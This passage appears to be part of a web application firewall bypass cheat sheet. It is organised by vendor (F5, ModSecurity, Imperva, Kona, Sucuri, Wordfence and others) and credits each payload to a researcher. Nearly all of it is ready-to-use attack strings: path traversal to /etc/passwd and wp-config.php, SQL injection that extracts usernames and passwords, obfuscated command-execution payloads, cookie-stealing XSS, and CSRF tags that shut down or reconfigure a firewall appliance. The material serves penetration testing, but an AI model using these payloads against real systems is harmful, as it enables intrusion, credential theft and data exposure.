    Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
    Content-Type: application/x-www-form-urlencoded
    
    _form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete

### **F5 FirePass** ###

SQLi Bypass from @Anonymous

state=%2527+and+
    (case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+
    BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+

### **ModSecurity** ###

RCE Payloads Detection Bypass for PL3 by @theMiddle (v3.1)

;+$u+cat+/etc$u/passwd$u

RCE Payloads Detection Bypass for PL2 by @theMiddle (v3.1)

;+$u+cat+/etc$u/passwd+\#

RCE Payloads for PL1 and PL2 by @theMiddle (v3.0)

/???/??t+/???/??ss??

RCE Payloads for PL3 by @theMiddle (v3.0)

/?in/cat+/et?/passw?

SQLi Bypass by @Johannes Dahse (v2.2)

0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user

SQLi Bypass by @Yuri Goltsev (v2.2)

1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min')

SQLi Bypass by @Ahmad Maulana (v2.2)

1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-

`SQLi Bypass by @Travis Lee (v2.2)`

amUserId=1 union select username,password,3,4 from users

SQLi Bypass by @Roberto Salgado (v2.2)

%0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201

SQLi Bypass by @Georgi Geshev (v2.2)

1%0bAND(SELECT%0b1%20FROM%20mysql.x)

SQLi Bypass by @SQLMap Devs (v2.2)

%40%40new%20union%23sqlmapsqlmap...%0Aselect%201,2,database%23sqlmap%0A%28%29

SQLi Bypass by @HackPlayers (v2.2)

%0Aselect%200x00%2C%200x41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201

### **Imperva** ###

Imperva SecureSphere 13 - Remote Command Execution by @rsp3ar

XSS Bypass by @David Y

XSS Bypass by @Emad Shanab

XSS Bypass by @WAFNinja

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E

XSS Bypass by @i\_bo0om

XSS Bypass by @c0d3g33k

SQLi Bypass by @DRK1WI

15 and '1'=(SELECT '1' FROM dual) and '0having'='0having'

SQLi by @Giuseppe D’Amore

stringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum<=1 and PASSWORD like '0%') and '1%%'='1

`Imperva SecureSphere <= v13 - Privilege Escalation by @0x09AL`

### **Kona SiteDefender** ###

HTML Injection by @sp1d3rs

%2522%253E%253Csvg%2520height%3D%2522100%2522%2520width%3D%2522100%2522%253E%2520%253Ccircle%2520cx%3D%252250%2522%2520cy%3D%252250%2522%2520r%3D%252240%2522%2520stroke%3D%2522black%2522%2520stroke-width%3D%25223%2522%2520fill%3D%2522red%2522%2520%2F%253E%2520%253C%2Fsvg%253E

XSS Bypass by @Jonathan Bouman

<body%20alt=al%20lang=ert%20onmouseenter="top['al'+lang](/PoC%20XSS%20Bypass%20by%20Jonathan%20Bouman/)"

XSS Bypass by @zseano

?"></script><base%20c%3D=href%3Dhttps:\mysite>

XSS Bypass by @0xInfection

XSS Bypass by @sp1d3rs

%2522%253E%253C%2Fdiv%253E%253C%2Fdiv%253E%253Cbrute%2520onbeforescriptexecute%3D%2527confirm%28document.domain%29%2527%253E

XSS Bypass by @Frans Rosén

XSS Bypass by @Ishaq Mohammed

<marquee+loop=1+width=0+onfinish='new+Function`al\ert\`1\``'>

### **Profense** ###

GET Type CSRF Attack by @Michael Brooks (>= v.2.6.2)

Turn off Proface Machine

<img src=https://host:2000/ajax.html?action=shutdown>

Add a proxy

<img src=https://10.1.1.199:2000/ajax.html?vhost_proto=http&vhost=vhost.com&vhost_port=80&rhost_proto=http&rhost=10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=on&static_passthrough=on&action=add&do=save>

XSS Bypass by @Michael Brooks (>= v.2.6.2)

https://host:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>"<script>alert(document.cookie)</script>

XSS Bypass by @EnableSecurity (>= v2.4)

%3CEvil%20script%20goes%20here%3E=%0AByPass
    %3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E

### **QuickDefense** ###

XSS Bypass by @WAFNinja

?<input type="search" onsearch="aler\u0074(1)">
    <details ontoggle=alert(1)>

### **Sucuri** ###

Smuggling RCE Payloads by @theMiddle

/???/??t+/???/??ss??

Obfuscating RCE Payloads by @theMiddle

;+cat+/e'tc/pass'wd
    c\\a\\t+/et\\c/pas\\swd

XSS Bypass by @Luka

"><input/onauxclick="[1].map(prompt)">

XSS Bypass by @Brute Logic

data:text/html,<form action=https://brutelogic.com.br/xss-cp.php method=post>
    <input type=hidden name=a value="<img/src=//knoxss.me/yt.jpg onpointerenter=alert`1`>">
    <input type=submit></form>

### **URLScan** ###

Directory Traversal by @ZeQ3uL (<= v3.1) (Only on ASP.NET)

http://host.com/test.asp?file=.%./bla.txt

### **WebARX** ###

Cross Site Scripting by @0xInfection

<a69/onauxclick=open&#40&#41>rightclickhere

### **WebKnight** ###

Cross Site Scripting by @WAFNinja

<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
    <marquee/onstart=confirm(2)>
    <details ontoggle=alert(1)>
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
    <img src=x onwheel=prompt(1)>

SQLi by @WAFNinja

0 union(select 1,username,password from(users))
    0 union(select 1,@@hostname,@@datadir)

XSS Bypass by @Aatif Khan (v4.1)

<details ontoggle=alert(1)>
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

SQLi Bypass by @ZeQ3uL

10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)

### **Wordfence** ###

XSS Bypass by @brute Logic

<a href=javascript:alert(1)>

XSS Bypass by @0xInfection

<a/**/href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At&colon;/**/alert()/**/>click

HTML Injection by @Voxel

http://host/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

XSS Exploit by @MustLive (>= v3.3.5)

<html>
    <head>
    <title>Wordfence Security XSS exploit (C) 2012 MustLive.
    http://websecurity.com.ua</title>
    </head>
    <body onLoad="document.hack.submit()">
    <form name="hack" action="http://site/?_wfsf=unlockEmail" method="post">
    <input type="hidden" name="email"
    value="<script>alert(document.cookie)</script>">
    </form>
    </body>
    </html>

Other XSS Bypasses

### **Apache Generic** ###

Writing method type in lowercase by @i\_bo0om

get /login HTTP/1.1
    Host: favoritewaf.com
    User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

### **IIS Generic** ###

Tabs before method by @i\_bo0om

GET /login.php HTTP/1.1
    Host: favoritewaf.com
    User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

[https_github.com_danielmiessler_SecLists_tree_master_Fuzzing]: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing
[https_github.com_fuzzdb-project_fuzzdb_tree_master_attack]: https://github.com/fuzzdb-project/fuzzdb/tree/master/attack
[https_github.com_foospidy_payloads]: https://github.com/foospidy/payloads